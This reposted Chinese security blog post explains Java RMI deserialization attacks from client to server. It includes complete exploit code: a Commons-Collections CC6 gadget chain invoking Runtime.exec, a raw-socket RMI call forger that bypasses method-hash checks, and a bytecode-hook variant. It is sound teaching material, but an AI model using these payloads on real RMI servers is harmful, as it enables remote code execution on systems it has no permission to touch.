RMI攻击(三)

admin 2024年10月29日14:00:06评论14 views字数 9658阅读32分11秒阅读模式

RMI攻击(三)

Client 端攻击 Server 端

Server 端反序列化 Client 端恶意参数

利用Server 端反序列化 Client 端恶意参数进行攻击需要满足以下两个条件:

1.知晓 Server 端远程接口及接口声明方法2.服务端存在反序列化利用链

由前面分析服务调用过程可知,当 Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,若这个参数为 Object 类型,则Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。

(1)、Object 类型参数

若远程调用接口存在接收 Object 类型参数的方法 sayHello(Object name)

public interface IHello extends Remote {    String sayHello(String str) throws RemoteException;    String sayHello(Object name) throws RemoteException;}

则可以在 Client 端直接利用反序列化链进行攻击。

public class Client {    public static void main(String[] args) throws Exception {        Registry registry = LocateRegistry.getRegistry();        IHello hello = (IHello) registry.lookup("hello");        String bai = hello.sayHello(getEvilClass());        System.out.println(bai);    }    public static Object getEvilClass(){        try {            Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};            Transformer[] transformers = new Transformer[]{                    new ConstantTransformer(Runtime.class),                    new InvokerTransformer("getMethod", new Class[]{                            String.class,                            Class[].class}, new Object[]{"getRuntime",                            new Class[0]}),                    new InvokerTransformer("invoke", new Class[]{                            Object.class,                            Object[].class}, new Object[]{null, new                            Object[0]}),                    new InvokerTransformer("exec", new Class[]{String.class                    },                            new String[]{"calc.exe"}),                    new ConstantTransformer(1),            };            Transformer transformerChain = new                    ChainedTransformer(fakeTransformers);            Map innerMap = new HashMap();            Map outerMap = LazyMap.decorate(innerMap, transformerChain);            TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");            Map expMap = new HashMap();            expMap.put(tme, "valuevalue");            outerMap.remove("keykey");            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");            f.setAccessible(true);            f.set(transformerChain,transformers);            return expMap;        }catch (Exception e){            e.printStackTrace();        }        return null;    }}

故若 Server 端远程调用接口存在接收 Object 类型参数的方法,则 Clietn 端可直接利用反序列化链进行攻击 Server 端。

RMI攻击(三)
RMI攻击(三)

此处调用UnicastServerRef#dispatch()方法,最终调用至UnicastServerRef#unmarshalValue()

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {    if (var0.isPrimitive()) {        if (var0 == Integer.TYPE) {            return var1.readInt();        } else if (var0 == Boolean.TYPE) {            return var1.readBoolean();        } else if (var0 == Byte.TYPE) {            return var1.readByte();        } else if (var0 == Character.TYPE) {            return var1.readChar();        } else if (var0 == Short.TYPE) {            return var1.readShort();        } else if (var0 == Long.TYPE) {            return var1.readLong();        } else if (var0 == Float.TYPE) {            return var1.readFloat();        } else if (var0 == Double.TYPE) {            return var1.readDouble();        } else {            throw new Error("Unrecognized primitive type: " + var0);        }    } else {        return var1.readObject();    }}

此处非基础类的参数接口均会执行readObject()存在反序列化漏洞(此处Integer.TYPEint,Integer仍会执行readObject(),其他基础类相同)。8u242后String不再调用readObject()

(2)、非 Object 类型参数

上述已分析若 Server 端远程调用接口存在接收 Object 类型参数的方法,则可进行攻击;若远程调用接口不存在接收 Object 类型参数需如何进行攻击? 正常情况下 Server 端和 Clietn 端的远程调用接口是相同的,若调用方法不一致将报错 unrecognized method hash: method not supported by remote object。进行测试,Server 端远程接口如下:

public interface IHello extends Remote {    String sayHello(String str) throws RemoteException;    String sayHello(Object name) throws RemoteException;    String diffentMethod(String name) throws RemoteException;}

Client 端添加方法,但参数改为 Object 类型

public interface IHello extends Remote {    String sayHello(String str) throws RemoteException;    String sayHello(Object name) throws RemoteException;    String diffentMethod(Object name) throws RemoteException;}

Client 端进行调用

Registry registry = LocateRegistry.getRegistry();IHello hello = (IHello) registry.lookup("hello");String bai = hello.diffentMethod(getEvilClass());System.out.println(bai);

Server 端报错,在UnicastServerRef#dispatch()方法中Method method = hashToMethod_Map.get(op);此行报错,之前分析过此行代码逻辑为在 Server 端保存的 hashToMethod_Map 中查找 Client 端 使用的 Method 的 hash 来查找,这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。 存在以下4 种方法可绕过 Method hash 的校验([参考链接](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf)),即 Server 端查找到 diffentMethod(String name) 方法的 hash,但接收的参数仍为 Object 类型的恶意的反序列化数据:

通过网络代理,在流量层修改数据自定义 “sun.rmi” 包的代码,自行实现字节码修改使用 debugger

①、通过网络代理,在流量层修改数据

Server 端 Client 端远程接口如下:

public interface IHello extends Remote {    String sayHello(String str) throws RemoteException;}

此处直接通过 Socket 模拟 RMI 发包进行反序列化攻击 需引入https://github.com/qtc-de/remote-method-guesser 代码 ClientPoc

import de.qtc.rmg.internal.MethodCandidate;import de.qtc.rmg.internal.RMGOption;import de.qtc.rmg.networking.RMIEndpoint;import de.qtc.rmg.networking.RMIRegistryEndpoint;import de.qtc.rmg.plugin.PluginSystem;import de.qtc.rmg.utils.ActivatableWrapper;import de.qtc.rmg.utils.RemoteObjectWrapper;import de.qtc.rmg.utils.UnicastWrapper;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.CtPrimitiveType;import sun.rmi.server.MarshalOutputStream;import sun.rmi.transport.TransportConstants;import javax.net.SocketFactory;import java.io.DataOutputStream;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.lang.reflect.Method;import java.net.Socket;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RMIClientSocketFactory;import java.rmi.server.RMISocketFactory;public class ClientPoc {    public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {        Socket socket = SocketFactory.getDefault().createSocket(host, port);        socket.setKeepAlive(true);        socket.setTcpNoDelay(true);        DataOutputStream dos = null;        try {            OutputStream os = socket.getOutputStream();            dos = new DataOutputStream(os);            dos.writeInt(TransportConstants.Magic);            dos.writeShort(TransportConstants.Version);            dos.writeByte(TransportConstants.SingleOpProtocol);            dos.write(TransportConstants.Call);            final ObjectOutputStream objOut = new MarshalOutputStream(dos);            objid.write(objOut); //Objid            objOut.writeInt(opNum); // opnum            objOut.writeLong(hash); // hash            for (Object object: objects) {                objOut.writeObject(object);            }            os.flush();        } finally {            if (dos != null) {                dos.close();            }            if (socket != null) {                socket.close();            }        }    }    public static void main(String[] args) {        try {            //获取 Register 端            PluginSystem.init(null);            RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("127.0.0.1", 1099);            //lookup() 获取远程对象            rmiRegistry.lookup("hello");            UnicastWrapper remoteObject = rmiRegistry.lookup("hello").getUnicastWrapper();            Object payloadObj = CC6.getPayloadObject("calc.exe");            //获取目标方法            CtClass iHelloctClass = ClassPool.getDefault().get("org.baigei.IHello");            CtClass stringCtClass = ClassPool.getDefault().get("java.lang.String");            CtClass[] params = {stringCtClass};            CtMethod sayHello = iHelloctClass.getDeclaredMethod("sayHello",params);            MethodCandidate methodCandidate = new MethodCandidate(sayHello);            Long methodHash = methodCandidate.getHash();            System.out.println(remoteObject.getHost() + " : " + remoteObject.getPort());            sendRawCall(remoteObject.getHost(),remoteObject.getPort(),remoteObject.objID,-1,methodHash,payloadObj);        }catch (Throwable t){            t.printStackTrace();        }    }}

CC6

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6 {    public static Object getPayloadObject(String cmd){        try {            Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};            Transformer[] transformers = new Transformer[]{                    new ConstantTransformer(Runtime.class),                    new InvokerTransformer("getMethod", new Class[]{                            String.class,                            Class[].class}, new Object[]{"getRuntime",                            new Class[0]}),                    new InvokerTransformer("invoke", new Class[]{                            Object.class,                            Object[].class}, new Object[]{null, new                            Object[0]}),                    new InvokerTransformer("exec", new Class[]{String.class                    },                            new String[]{cmd}),                    new ConstantTransformer(1),            };            Transformer transformerChain = new                    ChainedTransformer(fakeTransformers);            Map innerMap = new HashMap();            Map outerMap = LazyMap.decorate(innerMap, transformerChain);            TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");            Map expMap = new HashMap();            expMap.put(tme, "valuevalue");            outerMap.remove("keykey");            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");            f.setAccessible(true);            f.set(transformerChain,transformers);            return expMap;        }catch (Exception e){            e.printStackTrace();        }        return null;    }}
RMI攻击(三)

② 、复制"sun.rmi"包的代码,修改其中代码

此方法实现较为负责,此处不再进行测试

③ 、字节码修改

参考文章:https://www.anquanke.com/post/id/200860 下载https://github.com/Afant1/RemoteObjectInvocationHandler 修改URLDNSLOG为CC6

public static class RemoteObjectInvocationHandlerHookVisitorAdapter extends AdviceAdapter {    public RemoteObjectInvocationHandlerHookVisitorAdapter(MethodVisitor mv, int access, String name, String desc) {        super(Opcodes.ASM5, mv, access, name, desc);    }    protected void onMethodEnter(){        mv.visitVarInsn(ALOAD, 3);        mv.visitInsn(ICONST_0);//            mv.visitLdcInsn("http://ctvi8v.dnslog.cn");//            mv.visitMethodInsn(INVOKESTATIC, "afanti/rasp/util/URLDNS", "getObject", "(Ljava/lang/String;)Ljava/lang/Object;", false);        mv.visitLdcInsn("calc");        mv.visitMethodInsn(INVOKESTATIC,"afanti/rasp/util/CC6","getPayloadObject","(Ljava/lang/String;)Ljava/lang/Object;",false);        //调用方法        mv.visitInsn(AASTORE);    }}

Client 端添加VM参数 -javaagent:D:RemoteObjectInvocationHandlertargetrasp-1.0-SNAPSHOT.jar

RMI攻击(三)

反序列化攻击成功

RMI攻击(三)

④、使用 debugger 替换对象

Client 端添加一个服务端不存在的方法String sayHello(Object name)

import java.rmi.Remote;import java.rmi.RemoteException;public interface IHello extends Remote {    String sayHello(String str) throws RemoteException;    String sayHello(Object name) throws RemoteException;}

添加恶意类

public static void main(String[] args) throws RemoteException, NotBoundException {    Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);    IHello remoteInterface = (IHello) registry.lookup("hello");    Object object = remoteInterface.sayHello(CC6.getPayload("calc"));    System.out.println(object);}

Client 端在RemoteObjectInvocationHandler#invokeRemoteMethod(Object proxy,Method method,Object[] args)方法中return ref.invoke((Remote) proxy, method, args, getMethodHash(method));行打断点,修改 method 为 Server 端远程接口存在的方法。此方法底层仍为字节码修改

RMI攻击(三)
RMI攻击(三)

如您有问题、建议、需求、合作、加群交流请后台留言或添加微信

RMI攻击(三)

原文始发于微信公众号(白给信安):RMI攻击(三)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日14:00:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RMI攻击(三)https://cn-sec.com/archives/1839747.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息